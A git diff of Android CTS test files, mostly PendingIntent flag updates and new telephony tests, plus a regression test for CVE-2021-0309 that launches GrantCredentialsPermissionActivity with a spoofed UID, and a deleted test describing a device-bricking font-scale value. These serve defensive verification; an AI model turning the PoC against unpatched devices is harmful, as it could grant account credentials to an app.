     <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to set, update and remove the credential management app.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
+                android:protectionLevel="signature" />
+
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
     <!-- ========================================= -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 3970da6..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -111,7 +111,7 @@
         getContext().registerReceiver(receiver, filter);
 
         PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
         String message = "test message, token=" + token;
@@ -132,9 +132,9 @@
 
     private void sendSMSToSelf(String message) {
         PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         TelephonyManager telephony = (TelephonyManager)
                  getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
 
                 PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
                         0,
-                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                 sPrinter = new PrinterInfo.Builder(printerId, printerName,
                         PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
                     infoIntent.putExtra("PRINTER_NAME", "Printer2");
 
                     PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
-                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                     PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
                             PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
 
 import android.app.Instrumentation
 
-import android.app.role.RoleControllerManager
 import android.app.role.RoleManager
 import android.content.Context
 import android.content.Intent
@@ -42,15 +41,14 @@
 import java.util.function.Consumer
 
 /**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
  */
 @RunWith(AndroidJUnit4::class)
 class RoleControllerManagerTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context: Context = instrumentation.context
     private val packageManager: PackageManager = context.packageManager
-    private val roleControllerManager: RoleControllerManager =
-        context.getSystemService(RoleControllerManager::class.java)!!
+    private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
 
     @Before
     fun installApp() {
@@ -95,7 +93,7 @@
     ) {
         runWithShellPermissionIdentity {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isApplicationVisibleForRole(
+            roleManager.isApplicationVisibleForRole(
                 roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
             )
             val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
     private fun isRoleVisible(roleName: String): Boolean =
         runWithShellPermissionIdentity(ThrowingSupplier {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isRoleVisible(
+            roleManager.isRoleVisible(
                 roleName, context.mainExecutor, Consumer { future.complete(it) }
             )
             future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b35685e..76fc9cf 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -26,7 +26,6 @@
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
 
     <!-- For FileIntegrityManager -->
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+    private final Context mContext = InstrumentationRegistry.getContext();
+    boolean isVulnerable = true;
+
+    /**
+     * b/159145361
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0309() {
+        /**
+         * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+         * package:com.android.providers.media uid:10008
+         */
+        final int REQUESTED_UID = 10008;
+        Intent intent = new Intent();
+        intent.setClassName("android",
+                            "android.accounts.GrantCredentialsPermissionActivity");
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+                        new Account("abc@xyz.org", "com.my.auth"));
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+                        AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+            new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+                @Override
+                public void onResult(Bundle value) throws RemoteException {
+                }
+
+                @Override
+                public void onRequestContinued() {
+                }
+
+                @Override
+                public void onError(int errorCode, String errorMessage) throws RemoteException {
+                    /**
+                     * GrantCredentialsPermissionActivity's onCreate() should not execute and
+                     * should return error when the requested UID does not match the process's UID
+                     */
+                    isVulnerable = false;
+                }
+            }));
+
+        intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+                        REQUESTED_UID);
+        mContext.startActivity(intent);
+        /**
+         * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+         * triggered if vulnerability is fixed.
+         */
+        try {
+            Thread.sleep(5000);
+        } catch (Exception e) {
+        }
+        assertFalse(isVulnerable);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java b/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java
deleted file mode 100644
index 4dc67c3..0000000
--- a/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.os.SystemClock;
-import android.platform.test.annotations.SecurityTest;
-import android.provider.Settings.System;
-import android.test.AndroidTestCase;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-@SecurityTest
-public class FontScaleSettingsTest extends AndroidTestCase {
-    private Context mContext;
-    private String mPackageName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = InstrumentationRegistry.getInstrumentation().getContext();
-        mPackageName = mContext.getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + mPackageName + " android:write_settings allow");
-
-        // Wait a beat to persist the change
-        SystemClock.sleep(500);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + mPackageName + " android:write_settings default");
-    }
-
-    /**
-     * Verifies that the invalid values for the font scale setting is rejected.
-     *
-     * Prior to fixing bug 156260178, an invalid value could be assigned to the font scale setting,
-     * resulting in a bricked device. With the fix, the assignment will be rejected.
-     */
-    @SecurityTest(minPatchLevel = "2021-02")
-    public void testSetInvalidFontScaleValueRejected() {
-        final ContentResolver cr = mContext.getContentResolver();
-        try {
-            System.putFloat(cr, System.FONT_SCALE, Float.MAX_VALUE);
-            fail("Should throw");
-        } catch (IllegalArgumentException e) {
-        }
-        try {
-            System.putFloat(cr, System.FONT_SCALE, -1f);
-            fail("Should throw");
-        } catch (IllegalArgumentException e) {
-        }
-        try {
-            System.putFloat(cr, System.FONT_SCALE, 0.1f);
-            fail("Should throw");
-        } catch (IllegalArgumentException e) {
-        }
-        try {
-            System.putFloat(cr, System.FONT_SCALE, 30.0f);
-            fail("Should throw");
-        } catch (IllegalArgumentException e) {
-        }
-    }
-}
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..7602bae 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -531,7 +531,7 @@
                 mContext,
                 9384 /* number not relevant */ ,
                 new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
 
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
         final PendingIntent receiverIntent =
                 PendingIntent.getBroadcast(context, 0,
                         new Intent().setComponent(new ComponentName(context, InlineReply.class)),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
 
         final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
                                 "android.telephony.cts.smsretriever",
                                 "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
         PendingIntent pIntent = PendingIntent.getBroadcast(
-                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         String token = null;
         try {
             token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 2923568..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -21,6 +21,7 @@
         "src/android/telephony/ims/cts/TestImsSmsImpl.java",
         "src/android/telephony/ims/cts/TestImsConfig.java",
         "src/android/telephony/ims/cts/TestImsRegistration.java",
+        "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
         "src/android/telephony/ims/cts/TestSipTransport.java",
         "src/android/telephony/ims/cts/TestSipDelegate.java",
         "src/android/telephony/ims/cts/TestSipDelegateConnection.java",
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index d58f103..4cf2658 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.SEND_SMS"/>
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..53d91ff
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.OutcomeReceiver;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+    private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+    private static final String TEST_FILE_CONTENT_TYPE = "image/png";
+    private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+    private String mPreviousDefaultDialer;
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        overrideDefaultDialer();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        restoreDefaultDialer();
+        Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+    }
+
+    @Test
+    public void testUploadPictureWithFile() throws Exception {
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        byte[] imageData = getSamplePictureAsBytes();
+        Files.write(testFile, imageData);
+
+        pictureUploadHelper(testFile, null, -1);
+    }
+
+    @Test
+    public void testUploadPictureAsStream() throws Exception {
+        byte[] imageData = getSamplePictureAsBytes();
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+        pictureUploadHelper(null, inputStream, -1);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsFile() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        Files.write(testFile, paddedData);
+
+        pictureUploadHelper(testFile, null,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsStream() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+        pictureUploadHelper(null, inputStream,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    private void pictureUploadHelper(Path inputFile, InputStream inputStream,
+            int expectedErrorCode) throws Exception {
+        TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+        CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+                new CompletableFuture<>();
+        OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+                new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+                    @Override
+                    public void onResult(@NonNull ParcelUuid result) {
+                        resultFuture.complete(Pair.create(result, null));
+                    }
+
+                    @Override
+                    public void onError(TelephonyManager.CallComposerException error) {
+                        resultFuture.complete(Pair.create(null, error));
+                    }
+        };
+
+        if (inputFile != null) {
+            tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        } else {
+            tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        }
+
+        Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+        try {
+            result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            fail("Timed out waiting for response from TelephonyManager");
+            return;
+        }
+
+        if (result.second != null && expectedErrorCode < 0) {
+            String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            fail("Upload failed with " + error
+                    + "\nIOException: " + result.second.getIOException());
+        } else if (expectedErrorCode >= 0) {
+            String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            if (result.second == null) {
+                fail("Did not get the expected error: " + expectedError);
+            } else if (result.first != null) {
+                fail("Got a UUID from Telephony when we expected " + expectedError);
+            } else if (result.second.getErrorCode() != expectedErrorCode) {
+                String observedError =
+                        TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                                TelephonyManager.CallComposerException.class, "ERROR_");
+                fail("Expected " + expectedError + ", got " + observedError);
+            }
+            // If we expected an error, the test ends here
+            return;
+        }
+
+        assertNotNull(result.first);
+        // TODO: test the actual upload and/or storage to the call log.
+
+        // Make sure that any file descriptors opened to the test file have been closed.
+        if (inputFile != null) {
+            try {
+                Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+                        StandardOpenOption.APPEND).close();
+            } catch (IOException e) {
+                fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+            }
+        }
+    }
+
+    private byte[] getSamplePictureAsBytes() throws Exception {
+        InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+        return readBytes(resourceInput);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void overrideDefaultDialer() throws Exception {
+        mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+                InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mContext.getPackageName());
+    }
+
+    private void restoreDefaultDialer() throws Exception {
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mPreviousDefaultDialer);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 60b0de2..24cc212 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -212,7 +212,7 @@
                 .build();
         // Send
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
+                context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         smsManager.sendMultimediaMessage(context,
                 contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..38873cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -387,12 +387,65 @@
 
     @Test
     public void testFormatNumberToE164() {
-        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
-        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+        assertNull(PhoneNumberUtils.formatNumber("invalid#", "us"));
+        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "us"));
 
-        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
-        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
-        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
-        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "us"));
+        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "us"));
+        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "us"));
+        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "jp"));
+    }
+
+    @Test
+    public void testAreSamePhoneNumber() {
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+                "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
new file mode 100644
index 0000000..cc534f7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
